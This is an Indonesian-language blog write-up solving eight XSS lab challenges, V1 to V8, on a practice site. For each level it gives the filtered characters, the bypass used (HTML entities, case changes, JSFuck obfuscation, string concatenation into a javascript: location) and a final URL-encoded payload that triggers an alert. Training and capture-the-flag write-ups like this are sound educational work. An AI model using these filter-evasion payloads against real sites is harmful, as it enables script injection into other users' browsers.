SOLUTION to XSS Challenge From V1 — V8

Aidil Arief
5 min readAug 25, 2022

Hi everyone,

Bagaimana kabar anda?

Saya harap kita semua baik-baik saja.

Saya ingin membagikan sebuah artikel terkait solusi untuk ChallengeXSS dari Revan AR ( https://tools.revanar.dev/lab/ )

Sebelum memulainya, saya sudah terlebih dahulu meminta izin ke pemilik Challange untuk publish ini, dan akhirnya disetujui.

Ikuti Saya :)

  1. XSS Challenge V1

Di Challenge ini saya memulai melihat pelolosan karakter, dan ternyata untuk menambahkan tag baru ( <TAG> ) tidak diloloskan.

Saya memulai mencari solusi untuk menambahkan TAG baru dengan menggunakan HTML Entities.

Payload :

“><test>

Versi HTML Entities :

&quot;&gt;&lt;test&gt;

Berikut tangkapan layarnya :

Dan berhasil. Selanjutnya tambahkan payload XSS.

Final Payload :

https://tools.revanar.dev/lab/xss.php?search=Tes%26quot%3B%26gt%3B%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%26%2347%3Bscript%26gt%3B&submit&

2. XSS Challenge V2

Di V2 ini seperti sebelumnya yaitu melihat pelolosan karakter input terlebih dahulu.

Dan saya mendapatkan karakter yang di filter yaitu :

< menjadi _

= menjadi ==

Saya mencoba mencari solusi bypass 2 karakter itu dengan HTML Entities. Dan berikut solusinya :

< menjadi &lt;

= menjadi &#61;

Berikut tangkapan layarnya :

Final Payload :

https://tools.revanar.dev/lab/xss-2.php?search=%26lt%3Bdetails%20autofocus%20open%20onTOGgLe%26%2361%3Balert()%3E&submit&

3. XSS Challenge V3

Di V3, saya mendapatkan beberapa karakter yang difilter yaitu :

< Menjadi _

= Menjadi ==

alert() Menjadi ()

Selanjutnya saya mencoba membypass itu dengan HTML Entities. Berikut bypass nya :

< Menjadi &lt;

= Menjadi &#61;

alert() Menjadi &#97;lert()

Berikut tangkapan Layar :

Final Payload :

https://tools.revanar.dev/lab/xss-3.php?search=%26lt%3Bdetails%20open%20autofocus%20OnTOGgle%26%2361%3B%26%2397%3blert()%3E&submit

4. XSS Challenge V4

Di V4, saya mendapatkan beberapa karakter yang difilter yaitu :

< Menjadi _

onload Menjadi oad

= Menjadi ==

alert() Menjadi ()

Selanjutnya saya mencoba membypass itu dengan HTML Entities dan Uppercase & Lowercase. Berikut bypass nya :

< Menjadi &lt;

onload Menjadi OnLoad

= Menjadi &#61;

alert() Menjadi &#97;lert()

Berikut tangkapan Layar :

Final Payload :

https://tools.revanar.dev/lab/xss-4.php?search=%26lt%3Bsvg%20OnLoAd%26%2361%3B%26%2397%3Blert()%3E&submit

5. XSS Challenge V5

Di V5, saya mendapatkan beberapa karakter yang difilter yaitu :

< Menjadi _

onToGGle Menjadi ToGGle

= Menjadi ==

alert() Menjadi ()

Selanjutnya saya mencoba membypass itu dengan HTML Entities. Berikut bypass nya :

< Menjadi &lt;

onToGGle Menjadi &#79;nToGGle

= Menjadi &#61;

alert() Menjadi &#97;lert()

Berikut tangkapan Layar :

Final Payload :

https://tools.revanar.dev/lab/xss-5.php?search=%26lt%3BDeTAilS%20open%20autofocus%20%26%2379%3BnToGGle%26%2361%3B%26%2397%3Blert()%3E&submit

6. XSS Challenge V6

Di V6, saya mendapatkan beberapa karakter yang difilter yaitu :

Menjadi ( KOSONG/Ga Dianggap )

onerror Menjadi error

= Menjadi ==

alert() Menjadi ()

Selanjutnya saya mencoba membypass itu dengan HTML Entities. Berikut bypass nya :

Menjadi &quot;

onerror Menjadi &#79;nerror

= Menjadi &#61;

alert() Menjadi &#97;lert()

Berikut tangkapan Layar :

Final Payload :

https://tools.revanar.dev/lab/xss-6.php?search=x%26quot%3B%20%26%2379%3Bnerror%26%2361%3B%26quot%3B%26%2397%3Blert()&submit

7. XSS Challenge V7

Di V7, saya mendapatkan beberapa karakter yang diblok yaitu :

alert() Menjadi Bloked

Event Handler nya lolos.

Berikut tangkapan layarnya :

Selanjutnya saya mencoba membypass itu dengan JSFuck :

Bypass alert() :

[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]][([]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b!![]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[%2b!![]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!![]]%2b(![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!![]]%2b([][[]]%2b[])[%2b[]]%2b([]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[%2b!![]%2b[%2b[]]]%2b(!![]%2b[])[%2b!![]]]((!![]%2b[])[%2b!![]]%2b(!![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b([][[]]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!![]]%2b([][[]]%2b[])[%2b!![]]%2b(![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b[%2b[]]]%2b(![]%2b[])[%2b!![]]%2b(![]%2b[])[!![]%2b!![]]%2b(!![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]])()(%2b!![])

Berikut tangkapan Layar :

Final Payload :

“onerror=”[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]][([]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b!![]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[%2b!![]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!![]]%2b(![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!![]]%2b([][[]]%2b[])[%2b[]]%2b([]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[%2b!![]%2b[%2b[]]]%2b(!![]%2b[])[%2b!![]]]((!![]%2b[])[%2b!![]]%2b(!![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b[]]%2b([][[]]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!![]]%2b([][[]]%2b[])[%2b!![]]%2b(![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!![]%2b!![]]%2b(![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]]])[!![]%2b!![]%2b[%2b[]]]%2b(![]%2b[])[%2b!![]]%2b(![]%2b[])[!![]%2b!![]]%2b(!![]%2b[])[!![]%2b!![]%2b!![]]%2b(!![]%2b[])[%2b!![]]%2b(!![]%2b[])[%2b[]])()(%2b!![])

8. XSS Challenge V8

Di V8, saya mendapatkan beberapa karakter yang diblok yaitu :

alert() Menjadi Bloked

Saya mencoba untuk membypass ini kembali dengan JSFuck, dan ini hasil tangkapan layarnya :

Wkwkw ternyata JSFuck tidak berhasil di V8, Dan saya terdiam sejenak dan melihat referensi yang dapat digunakan untuk mengakali filter ini.

Dan hingga akhirnya saya menemukan sebuah artikel referensi XSS yang sangat bagus yaitu :

Dari referensi itu saya tertarik mencoba menggunakan salah satu payload bypass disana yaitu :

<svg onload=a=’)’,b=’t(1',j=’javas’,s=’cript:aler’,location=j+s+b+a>

Dan saya mencoba itu di V8 ini, dan ini payload nya :

“onerror=”a=’)’,b=’t(1',j=’javas’,s=’cript:aler’,location=j+s+b+a

Dan berikut tangkapan layarnya :

Dan pop up muncul.

Final Payload :

https://tools.revanar.dev/lab/xss-8.php?search=%22onerror=%22a=%27)%27,b=%27t(1%27,j=%27javas%27,s=%27cript:aler%27,location=j%252bs%252bb%252ba&submit=

--

--